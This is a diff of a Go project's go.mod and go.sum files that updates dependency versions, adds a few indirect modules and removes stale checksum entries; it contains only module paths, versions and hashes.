github.com/cheggaaa/pb/v3 v3.1.0
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf
github.com/chromedp/chromedp v0.8.5
github.com/desertbit/columnize v2.1.0+incompatible
@@ -20,21 +20,23 @@ require (
github.com/desertbit/grumble v1.1.1
github.com/desertbit/readline v1.5.1
github.com/fatih/color v1.13.0
github.com/gofrs/uuid v4.0.0+incompatible
github.com/gofrs/uuid v4.3.0+incompatible
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/jedib0t/go-pretty/v6 v6.3.8
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.15
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/onsi/ginkgo v1.12.1
github.com/onsi/gomega v1.10.0
github.com/pquerna/otp v1.3.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/sirupsen/logrus v1.9.0
github.com/spf13/cobra v1.5.0
github.com/stretchr/testify v1.8.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
@@ -50,7 +52,7 @@ require (
gorm.io/driver/mysql v1.3.6
gorm.io/driver/postgres v1.3.9
gorm.io/driver/sqlite v1.3.6
gorm.io/gorm v1.23.8
gorm.io/gorm v1.23.9
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
@@ -70,6 +72,7 @@ require (
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/dlclark/regexp2 v1.4.0 // indirect
github.com/fsnotify/fsnotify v1.4.9 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.6.0 // indirect
@@ -98,11 +101,13 @@ require (
github.com/mailru/easyjson v0.7.7 // indirect
github.com/mattn/go-colorable v0.1.9 // indirect
github.com/mattn/go-isatty v0.0.14 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mattn/go-runewidth v0.0.13 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/nxadm/tail v1.4.4 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/rivo/uniseg v0.2.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.5.1 // indirect
@@ -113,6 +118,8 @@ require (
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v2 v2.4.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
+41 -64
View File
@@ -27,7 +27,6 @@ cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4g
cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw=
cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA=
@@ -39,8 +38,8 @@ cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RX
cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.2.2 h1:1I4qBrNsHQE+91tQCqVlfrKe9DEL65949d1oKZWVELY=
github.com/AlecAivazis/survey/v2 v2.2.2/go.mod h1:9FJRdMdDm8rnT+zHVbvQT2RTSTLq0Ttd6q3Vl2fahjk=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
github.com/Azure/azure-sdk-for-go v16.2.1+incompatible/go.mod h1:9XXNKU+eRnpl9moKnB4QOLf1HestfXbmab5FXxiDBjc=
github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8=
github.com/Azure/go-autorest v14.2.0+incompatible/go.mod h1:r+4oMnoxhatjLLJ6zxSWATqVooLgysK6ZNox3g/xq24=
@@ -90,8 +89,9 @@ github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb0
github.com/Ne0nd0g/go-clr v1.0.2 h1:jVD7iJyXaS3KhPiKetUnUAuLxgDlNSvYmPfMFK8E3VY=
github.com/Ne0nd0g/go-clr v1.0.2/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2 h1:+vx7roKuyA63nhn5WAunQHLTznkw5W8b1Xc0dNjp83s=
github.com/Netflix/go-expect v0.0.0-20220104043353-73e0943537d2/go.mod h1:HBCaDeC1lPdgDeDbhX8XFpy1jqjK0IBG8W5K+xYqA0w=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0=
@@ -115,10 +115,7 @@ github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRF
github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/alexflint/go-filemutex v0.0.0-20171022225611-72bdc8eae2ae/go.mod h1:CgnQgUtFrFz9mxFNtED3jI5tLDjKlOM+oUF/sTk6ps0=
github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
@@ -131,7 +128,6 @@ github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+Ce
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bitly/go-simplejson v0.5.0/go.mod h1:cXHtHw4XUPsvGaxgjIAn8PhEWG9NfngEKAMDJEczWVA=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/blang/semver v3.5.0+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/blang/semver v3.5.1+incompatible/go.mod h1:kRBLl5iJ+tD4TcOOxsy/0fnwebNt5EWlYSAyrTnjyyk=
github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4=
@@ -147,8 +143,8 @@ github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/checkpoint-restore/go-criu/v4 v4.1.0/go.mod h1:xUQBLp4RLc5zJtWY++yjOoMoB5lihDt7fai+75m+rGw=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
github.com/cheggaaa/pb/v3 v3.0.5/go.mod h1:X1L61/+36nz9bjIsrDU52qHKOQukUQe2Ge+YvGuquCw=
github.com/cheggaaa/pb/v3 v3.1.0 h1:3uouEsl32RL7gTiQsuaXD4Bzbfl5tGztXGUvXbs4O04=
github.com/cheggaaa/pb/v3 v3.1.0/go.mod h1:YjrevcBqadFDaGQKRdmZxTY42pXEqda48Ea3lt0K/BE=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf h1:e0oJZmGJidTRZ0FvWXNhdj9OaOMN30Yf+T3K2Tf3L+s=
github.com/chromedp/cdproto v0.0.0-20220827030233-358ed4af73cf/go.mod h1:5Y4sD/eXpwrChIuxhSr/G20n9CdbCmoerOHnuAf0Zr0=
github.com/chromedp/chromedp v0.8.5 h1:HAVg54yQFcn7sg5reVjXtoI1eQaFxhjAjflHACicUFw=
@@ -208,7 +204,6 @@ github.com/containernetworking/plugins v0.8.7/go.mod h1:R7lXeZaBzpfqapcAbHRW8/CY
github.com/containers/ocicrypt v1.0.3/go.mod h1:CUBa+8MRNL/VkpxYIpaMtgn1WgXGyvPQj8jcy0EVG6g=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-iptables v0.4.5/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-iptables v0.5.0/go.mod h1:/mVI274lEDI2ns62jHCDnCyBF9Iwsmekav8Dbxlm1MU=
github.com/coreos/go-oidc v2.1.0+incompatible/go.mod h1:CgnwVTmzoESiwO9qyAFEMiHoZ1nMCKZlZ9V6mm3/LKc=
@@ -224,8 +219,10 @@ github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfc
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.7 h1:6pwm8kMQKCmgUg0ZHTm5+/YvRK0s3THD/28+T6/kk4A=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/cyphar/filepath-securejoin v0.2.2/go.mod h1:FpkQEhXnPnOthhzymB7CGsFk2G9VLXONKD9G7QGMM+4=
github.com/d2g/dhcp4 v0.0.0-20170904100407-a1d1b6c41b1c/go.mod h1:Ct2BUK8SB0YC1SMSibvLzxjeJLnrYEVLULFNiHY9YfQ=
github.com/d2g/dhcp4client v1.0.0/go.mod h1:j0hNfjhrt2SxUOw55nL0ATM/z4Yt3t2Kd1mW34z5W5s=
@@ -288,9 +285,9 @@ github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI
github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
github.com/frankban/quicktest v1.11.3/go.mod h1:wRf/ReqHper53s+kmmSZizM8NamnL3IM0I9ntUbOk+k=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/fullsailor/pkcs7 v0.0.0-20190404230743-d7302db945fa/go.mod h1:KnogPXtdwXqoenmZCw6S+25EAm2MkxbG0deNDu4cbSA=
github.com/fzipp/gocyclo v0.3.1/go.mod h1:DJHO6AUmbdqj2ET4Z9iArSuwWgYDRryYt2wASxc7x3E=
github.com/garyburd/redigo v0.0.0-20150301180006-535138d7bcd7/go.mod h1:NR3MbYisc3/PwhQ00EMzDiPmrwpPxAn5GI05/YaO1SY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
@@ -336,8 +333,9 @@ github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblf
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw=
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
@@ -446,34 +444,20 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
@@ -535,8 +519,8 @@ github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0f
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
@@ -575,7 +559,6 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
@@ -594,7 +577,6 @@ github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mailru/easyjson v0.0.0-20160728113105-d5b7844b561a/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20180823135443-60711f1a8329/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
github.com/mailru/easyjson v0.0.0-20190614124828-94de47d64c63/go.mod h1:C1wdFJiN94OJF2b5HbByQZoLdCWB1Yqtg26g4irojpc=
@@ -622,9 +604,9 @@ github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Ky
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU=
github.com/mattn/go-runewidth v0.0.7/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.12/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU=
github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
github.com/mattn/go-sqlite3 v1.14.12/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU=
